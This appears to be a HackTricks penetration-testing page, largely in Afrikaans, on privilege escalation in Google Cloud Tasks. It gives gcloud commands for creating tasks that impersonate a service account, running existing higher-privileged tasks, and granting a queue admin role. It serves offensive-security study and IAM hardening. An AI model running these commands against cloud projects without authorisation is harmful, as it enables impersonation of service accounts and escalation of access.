# GCP - Cloud Tasks Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Cloud Tasks

### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`

An attacker met hierdie permissies kan **impersonate other service accounts** deur tasks te skep wat uitgevoer word met die gespesifiseerde service account se identiteit. Dit maak dit moontlik om **authenticated HTTP requests to IAM-protected Cloud Run or Cloud Functions** dienste te stuur.

<details><summary>Create Cloud Task with service account impersonation</summary>
```bash
gcloud tasks create-http-task \
task-$(date '+%Y%m%d%H%M%S') \
--location us-central1 \
--queue <queue_name> \
--url 'https://<service_name>.us-central1.run.app' \
--method POST \
--header 'X-Hello: world' \
--body-content '{"hello":"world"}' \
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
```
</details>

### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`

'n aanvaller met hierdie toestemmings kan **bestaande geskeduleerde take uitvoer** sonder om toestemming op die service account wat met die taak geassosieer is te hê. Dit maak dit moontlik om take uit te voer wat voorheen geskep is met service accounts met hoër voorregte.

<details><summary>Voer bestaande Cloud Task uit sonder actAs toestemming</summary>
```bash
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
```
</details>

Die principal wat hierdie opdrag uitvoer **het nie die `iam.serviceAccounts.actAs` toestemming nodig** op die taak se service account nie. Dit laat egter slegs toe om bestaande take uit te voer — dit verleen nie die vermoë om take te skep of te wysig nie.

### `cloudtasks.queues.setIamPolicy`

'n Aanvaller met hierdie toestemming kan **hulself of ander principals Cloud Tasks roles** op spesifieke queues toeken, moontlik opgradeer na `roles/cloudtasks.admin` wat insluit die vermoë om take te skep en uit te voer.

<details><summary>Verleen Cloud Tasks admin role op queue</summary>
```bash
gcloud tasks queues add-iam-policy-binding \
<queue_name> \
--location us-central1 \
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
--role roles/cloudtasks.admin
```
</details>

Dit stel die aanvaller in staat om volle Cloud Tasks admin permissions op die queue toe te ken aan enige service account wat hulle beheer.

## Verwysings

- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs)

{{#include ../../../banners/hacktricks-training.md}}
